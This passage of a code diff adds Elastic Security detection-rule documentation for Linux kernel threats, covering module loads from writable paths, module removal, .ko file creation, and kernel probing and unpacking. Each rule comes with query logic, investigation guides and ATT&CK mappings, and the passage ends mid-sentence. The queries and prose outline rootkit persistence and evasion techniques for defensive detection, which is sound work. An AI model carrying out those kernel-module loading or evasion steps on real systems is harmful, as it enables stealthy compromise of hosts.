+This rule detects attempts to load Linux kernel modules from atypical directories, which can indicate an attacker trying to run code in kernel space for stealth and long-term persistence. Adversaries often drop a malicious `.ko` into writable paths like `/tmp` or `/dev/shm` after initial access, then use `insmod` or `modprobe` to insert it and hide processes, files, or network activity as a rootkit. + + +*Possible investigation steps* + + +- Capture the full command line and resolve any referenced `.ko` path, then collect the module file for hashing and static analysis to determine provenance and known-malware matches. +- Confirm whether the module is currently loaded by querying `lsmod`/`/proc/modules`, then map it to its on-disk location with `modinfo -n ` (or `/sys/module//sections/*`) to validate it was loaded from the suspicious directory. +- Review recent kernel and audit telemetry (`dmesg`, `/var/log/kern.log`, `journalctl -k`, and any audit records) around the event time for insertion messages, signature/taint indicators, and any follow-on errors suggesting tampering. +- Identify the initiating user/session and execution chain (parent process tree, TTY/SSH source, container context), then determine whether the action aligns with legitimate admin activity or coincides with other compromise signals on the host. +- Hunt for persistence and repeatability by checking for recurring module-load attempts and inspecting boot-time and scheduled execution paths (systemd units, init scripts, cron, rc.local) that could reload the module after reboot. + + +*False positive analysis* + + +- A system administrator or automated maintenance workflow may build or test an out-of-tree kernel module and load it with `insmod`/`modprobe` from a staging directory such as `/tmp`, `/root`, or `/mnt` before installing it into standard module paths. +- A legitimate bootstrapping or recovery operation may load a required driver module from nonstandard media or temporary runtime locations (e.g., `/boot`, `/run`, `/var/run`, or `/mnt`) during troubleshooting, initramfs/early-boot tasks, or mounting encrypted/storage devices. + + +*Response and remediation* + + +- Isolate the affected Linux host from the network and disable external access (e.g., revoke SSH keys or block inbound SSH) to prevent additional module loads or lateral movement while preserving evidence. +- If the suspicious module is currently loaded, record `lsmod` and `modinfo` output, then unload it where safe (`modprobe -r `/`rmmod `) and quarantine the corresponding `.ko` from the unusual path (e.g., `/tmp`, `/dev/shm`, `/home`, `/mnt`) for hashing and malware analysis. +- Remove persistence mechanisms that would reload the module by deleting or disabling any related systemd units, init scripts, cron entries, and boot-time hooks, and validate `/etc/modules-load.d/`, `/lib/modules/$(uname -r)/`, and `depmod` outputs for unauthorized additions. +- Recover the host by restoring known-good kernel/module packages and rebuilding the initramfs, then reboot and verify no unexpected modules remain in `/proc/modules` and no new load attempts occur from writable directories. +- Escalate immediately to IR/forensics and consider full host rebuild if the module is unsigned/unknown, the kernel is tainted, module removal fails, or post-reboot evidence indicates stealth behavior consistent with a rootkit. +- Harden by restricting module loading (enable Secure Boot/module signature enforcement where supported, set `kernel.modules_disabled=1` after boot on fixed-function systems, and limit `CAP_SYS_MODULE` to trusted admins), and enforce file integrity monitoring/permissions to prevent `.ko` creation in world-writable locations. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and ( + (process.name == "kmod" and process.args == "insmod" and process.args like~ "*.ko*") or + (process.name == "kmod" and process.args == "modprobe" and not process.args in ("-r", "--remove")) or + (process.name == "insmod" and process.args like~ "*.ko*") or + (process.name == "modprobe" and not process.args in ("-r", "--remove")) +) and ( + process.working_directory like ( + "/tmp*", "/var/tmp*", "/dev/shm*", "/run*", "/var/run*", "/home*/*", "/root*", + "/var/www*", "/boot*", "/srv*", "/mnt*", "/media*" + ) or + process.parent.working_directory like ( + "/tmp*", "/var/tmp*", "/dev/shm*", "/run*", "/var/run*", "/home*/*", "/root*", + "/var/www*", "/boot*", "/srv*", "/mnt*", "/media*" + ) or + process.args like ( + "/tmp/*", "/var/tmp/*", "/dev/shm/*", "/run/*", "/var/run/*", "/home/*/*", "/root/*", + "/var/www/*", "/boot/*", "/srv/*", "/mnt/*", "/media/*", "./*" + ) +) and +not ( + process.parent.executable == "/usr/bin/podman" or + process.working_directory like "/tmp/newroot" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kernel-module-removal.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kernel-module-removal.asciidoc new file mode 100644 index 0000000000..6ed7281497 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kernel-module-removal.asciidoc @@ -0,0 +1,184 @@ +[[prebuilt-rule-8-19-34-kernel-module-removal]] +=== Kernel Module Removal + +Kernel modules are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. This rule identifies attempts to remove a kernel module. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* http://man7.org/linux/man-pages/man8/modprobe.8.html + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kernel Module Removal* + + +Kernel modules dynamically extend a Linux kernel's capabilities without rebooting. Adversaries may exploit this by removing modules to disable security features or hide malicious activities. The detection rule identifies suspicious module removal attempts by monitoring processes like `rmmod` or `modprobe` with removal arguments, especially when initiated by common shell environments, indicating potential defense evasion tactics. + + +*Possible investigation steps* + + +- Review the process details to confirm the execution of `rmmod` or `modprobe` with removal arguments. Check the command line arguments to ensure they match the suspicious activity criteria. +- Identify the parent process of the suspicious activity, focusing on shell environments like `sudo`, `bash`, `dash`, `ash`, `sh`, `tcsh`, `csh`, `zsh`, `ksh`, or `fish`, to understand the context in which the module removal was initiated. +- Investigate the user account associated with the process to determine if the activity aligns with expected behavior or if it indicates potential unauthorized access. +- Check system logs and audit logs for any preceding or subsequent suspicious activities that might correlate with the module removal attempt, such as privilege escalation or other defense evasion tactics. +- Assess the impact of the module removal on system security features and functionality, and determine if any critical security modules were targeted. +- Review recent changes or updates to the system that might explain the module removal, such as legitimate maintenance or updates, to rule out false positives. + + +*False positive analysis* + + +- Routine administrative tasks may trigger the rule when system administrators use `rmmod` or `modprobe` for legitimate maintenance. To handle this, create exceptions for specific user accounts or scripts known to perform these tasks regularly. +- Automated scripts or configuration management tools that manage kernel modules might cause false positives. Identify these tools and exclude their processes from the rule to prevent unnecessary alerts. +- Some Linux distributions or custom setups might use shell scripts that invoke `rmmod` or `modprobe` during system updates or package installations. Monitor these activities and whitelist the associated parent processes if they are verified as non-threatening. +- Development environments where kernel module testing is frequent can generate alerts. Exclude specific development machines or user accounts involved in module testing to reduce noise. +- Security tools that perform regular checks or updates on kernel modules might inadvertently trigger the rule. Verify these tools and add them to the exception list to avoid false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or potential lateral movement by the adversary. +- Terminate any suspicious processes identified as attempting to remove kernel modules, such as those initiated by `rmmod` or `modprobe` with removal arguments. +- Conduct a thorough review of user accounts and privileges on the affected system to ensure no unauthorized access or privilege escalation has occurred. +- Restore any disabled security features or kernel modules to their original state to ensure the system's defenses are intact. +- Analyze system logs and audit trails to identify any additional indicators of compromise or related malicious activities. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat is part of a larger attack campaign. +- Implement enhanced monitoring and alerting for similar activities across the network to detect and respond to future attempts promptly. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +( + process.name == "rmmod" or + (process.name == "modprobe" and process.args in ("--remove", "-r")) +) and +process.parent.name in ("sudo", "bash", "dash", "ash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and +not ( + ?process.parent.args like "/var/tmp/rpm-tmp*" or + ?process.working_directory like~ ("/tmp/makeself*NVIDIA-Linux*", "/tmp/self*NVIDIA-Linux*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kernel-object-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kernel-object-file-creation.asciidoc new file mode 100644 index 0000000000..0eaed45fb7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kernel-object-file-creation.asciidoc @@ -0,0 +1,188 @@ +[[prebuilt-rule-8-19-34-kernel-object-file-creation]] +=== Kernel Object File Creation + +This rule detects the creation of a Linux kernel object file (.ko) on a system. Threat actors may leverage Linux kernel object files to load a rootkit or other type of malware on a system providing them with complete control and the ability to hide from security products. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kernel Object File Creation* + + +Kernel object files (.ko) are loadable modules that extend the functionality of the Linux kernel, often used for adding drivers or system features. Adversaries exploit this by loading malicious modules, such as rootkits, to gain control and evade detection. The detection rule identifies suspicious .ko file creation, excluding benign paths, to flag potential threats while minimizing false positives. + + +*Possible investigation steps* + + +- Review the file path of the created .ko file to determine if it is located in a suspicious or unusual directory that is not excluded by the rule, such as /var/tmp or /usr/local. +- Examine the process that created the .ko file by checking the process.executable and process.name fields to identify if it is a known legitimate process or potentially malicious. +- Investigate the parent process of the process that created the .ko file to understand the context of how the file was created and if it was initiated by a legitimate user action or a script. +- Check for any recent system changes or anomalies around the time of the .ko file creation, such as new user accounts, changes in system configurations, or other suspicious file activities. +- Look for any associated network activity from the host around the time of the .ko file creation to identify potential command and control communications or data exfiltration attempts. +- Correlate the alert with other security events or logs from the same host to identify any patterns or additional indicators of compromise that may suggest a broader attack campaign. + + +*False positive analysis* + + +- Kernel updates and system maintenance activities can generate .ko files in legitimate scenarios. Users should monitor for these activities and consider excluding paths related to official update processes. +- Custom kernel module development by developers or system administrators may trigger this rule. Establish a process to whitelist known development environments or specific user accounts involved in module creation. +- Automated system recovery tools, such as those using mkinitramfs, may create .ko files. Ensure these paths are excluded as indicated in the rule to prevent unnecessary alerts. +- Snap package installations might involve .ko file creation. Exclude the /snap/ directory to avoid false positives from legitimate package installations. +- Backup and restoration processes using tools like cpio can lead to .ko file creation. Verify these processes and exclude them if they are part of routine system operations. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread or communication with potential command and control servers. +- Terminate any suspicious processes associated with the creation of the .ko file, especially those not originating from known benign paths. +- Remove the suspicious .ko file from the system to prevent it from being loaded into the kernel. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious components. +- Review system logs and audit trails to identify any unauthorized access or changes made around the time of the .ko file creation. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat is part of a larger attack campaign. +- Implement additional monitoring and alerting for similar activities, ensuring that any future attempts to create or load unauthorized .ko files are promptly detected and addressed. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:file and host.os.type:linux and event.type:creation and file.extension:ko and +not ( + file.path:( + /tmp/mkinitramfs* or /var/cache/uptrack/* or /var/tmp/dracut.* or /build/* or /var/lib/dkms/* or + /mnt/Samsung/* or /var/tmp/portage/* or /tmp/user/0/mkinitramfs* or /var/tmp/supermin* or + /mnt/img/storage/squashfs-root/* or /var/opt/eset/* or /var/tmp/mkinitramfs_* + ) or + process.executable:( + "/usr/local/v3net/suarez/bin/suarez" or "/sbin/dracut" or "/opt/traps/bin/pmd" or "/usr/bin/pacman" or + "/usr/bin/containerd" or "/usr/sbin/dockerd" or "/usr/bin/dockerd" or /snap/* or + "/usr/lib/dracut/dracut-initramfs-restore" or "/sbin/unsquashfs" + ) or + process.name:"cpio" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Kernel Modules and Extensions +** ID: T1547.006 +** Reference URL: https://attack.mitre.org/techniques/T1547/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kernel-seeking-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kernel-seeking-activity.asciidoc new file mode 100644 index 0000000000..21a8876ab6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kernel-seeking-activity.asciidoc @@ -0,0 +1,183 @@ +[[prebuilt-rule-8-19-34-kernel-seeking-activity]] +=== Kernel Seeking Activity + +This rule detects kernel seeking activity through several built-in Linux utilities. Attackers may use these utilities to search the Linux kernel for available symbols, functions, and other information that can be used to exploit the kernel. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/declawing-pumakit + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kernel Seeking Activity* + + +Kernel seeking involves probing the Linux kernel for symbols and functions, often using utilities like `tail`, `cmp`, `hexdump`, `xxd`, and `dd`. Adversaries exploit this to discover vulnerabilities for kernel exploitation. The detection rule identifies suspicious execution patterns of these utilities, particularly when accessing kernel-related paths, signaling potential malicious reconnaissance or exploitation attempts. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the use of utilities like `tail`, `cmp`, `hexdump`, `xxd`, or `dd` with the specified arguments, focusing on the `process.name` and `process.args` fields. +- Examine the `process.parent.args` and `process.args` fields to identify the specific kernel-related paths accessed, such as those under `/boot/*`, to understand the context of the access. +- Investigate the parent process of the suspicious activity by analyzing the `process.parent` field to determine if it was initiated by a legitimate or potentially malicious process. +- Check the timeline of events around the alert to identify any preceding or subsequent suspicious activities that might indicate a broader attack pattern. +- Correlate the alert with other security events or logs from the same host to assess if there are additional indicators of compromise or related malicious activities. +- Evaluate the user account associated with the process execution to determine if it aligns with expected behavior or if it might be compromised. + + +*False positive analysis* + + +- System administrators or automated scripts may use utilities like `tail`, `cmp`, `hexdump`, `xxd`, and `dd` for legitimate maintenance tasks involving kernel files. To mitigate this, identify and whitelist specific scripts or processes that are known to perform these actions regularly. +- Backup or recovery operations might involve accessing kernel-related paths with these utilities. Exclude these operations by defining exceptions for known backup tools or processes that interact with the `/boot` directory. +- Developers working on kernel modules or custom kernel builds may trigger this rule during their normal workflow. Consider excluding specific user accounts or development environments from this rule to prevent false positives. +- Security tools or monitoring solutions that perform regular checks on kernel files could be mistakenly flagged. Review and whitelist these tools to ensure they are not incorrectly identified as threats. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the detection rule, particularly those involving the utilities `tail`, `cmp`, `hexdump`, `xxd`, and `dd` accessing kernel paths. +- Conduct a thorough review of system logs and process execution history to identify any additional suspicious activities or related indicators of compromise. +- Restore the system from a known good backup if any unauthorized modifications to the kernel or system files are detected. +- Update the Linux kernel and all related packages to the latest versions to patch any known vulnerabilities that could be exploited. +- Implement enhanced monitoring and alerting for similar activities, focusing on the execution of the specified utilities with kernel-related arguments. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems may be affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +(process.parent.args like "/boot/*" or process.args like "/boot/*") and ( + (process.name == "tail" and (process.args like "-c*" or process.args == "--bytes")) or + (process.name == "cmp" and process.args == "-i") or + (process.name in ("hexdump", "xxd") and process.args == "-s") or + (process.name == "dd" and process.args like "seek*") +) and process.parent.executable != null and +not ( + process.parent.executable in ( + "/usr/lib/needrestart/vmlinuz-get-version", "/bin/dracut", "/sbin/dracut", "/usr/sbin/dracut" + ) or + process.parent.args in ( + "/usr/bin/dracut", "/usr/lib/needrestart/vmlinuz-get-version", "/sbin/dracut", "/bin/dracut", + "/usr/sbin/dracut", "/usr/bin/spectre-meltdown-checker", "/usr/lib/module-init-tools/lsinitrd-quick" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kernel-unpacking-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kernel-unpacking-activity.asciidoc new file mode 100644 index 0000000000..a6a97c3d3b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kernel-unpacking-activity.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-34-kernel-unpacking-activity]] +=== Kernel Unpacking Activity + +This rule detects kernel unpacking activity through several built-in Linux utilities. Attackers may use these utilities to unpack kernel images and modules to search for vulnerabilities or to modify the kernel. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/declawing-pumakit + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kernel Unpacking Activity* + + +Kernel unpacking involves using utilities to extract or inspect kernel images and modules, often for legitimate maintenance or updates. However, adversaries exploit this to identify vulnerabilities or alter the kernel for malicious purposes. The detection rule identifies suspicious unpacking by monitoring specific Linux utilities and command patterns, excluding benign processes like system updates, to flag potential threats. + + +*Possible investigation steps* + + +- Review the process details to identify the specific utility used for unpacking, such as "file", "unlzma", "gunzip", etc., and verify if the usage aligns with typical system maintenance activities. +- Examine the parent process name and arguments, especially those involving "/boot/*", to determine if the unpacking activity is part of a legitimate system operation or an unauthorized action. +- Check the user account associated with the process to assess if the activity was initiated by a legitimate user or an unauthorized entity. +- Investigate the timing of the event to see if it coincides with scheduled maintenance or updates, which might explain the unpacking activity. +- Look for any related alerts or logs that might indicate further suspicious behavior, such as attempts to modify kernel modules or other system files following the unpacking activity. +- Cross-reference the event with recent system updates or patches to rule out false positives related to legitimate system operations. + + +*False positive analysis* + + +- System updates and maintenance activities can trigger this rule when legitimate processes unpack kernel images. To manage this, exclude processes initiated by known update utilities like "mkinitramfs" from triggering alerts. +- Custom scripts or administrative tasks that involve unpacking kernel images for legitimate purposes may also cause false positives. Identify and whitelist these scripts or processes by their specific command patterns or parent process names. +- Backup or recovery operations that involve 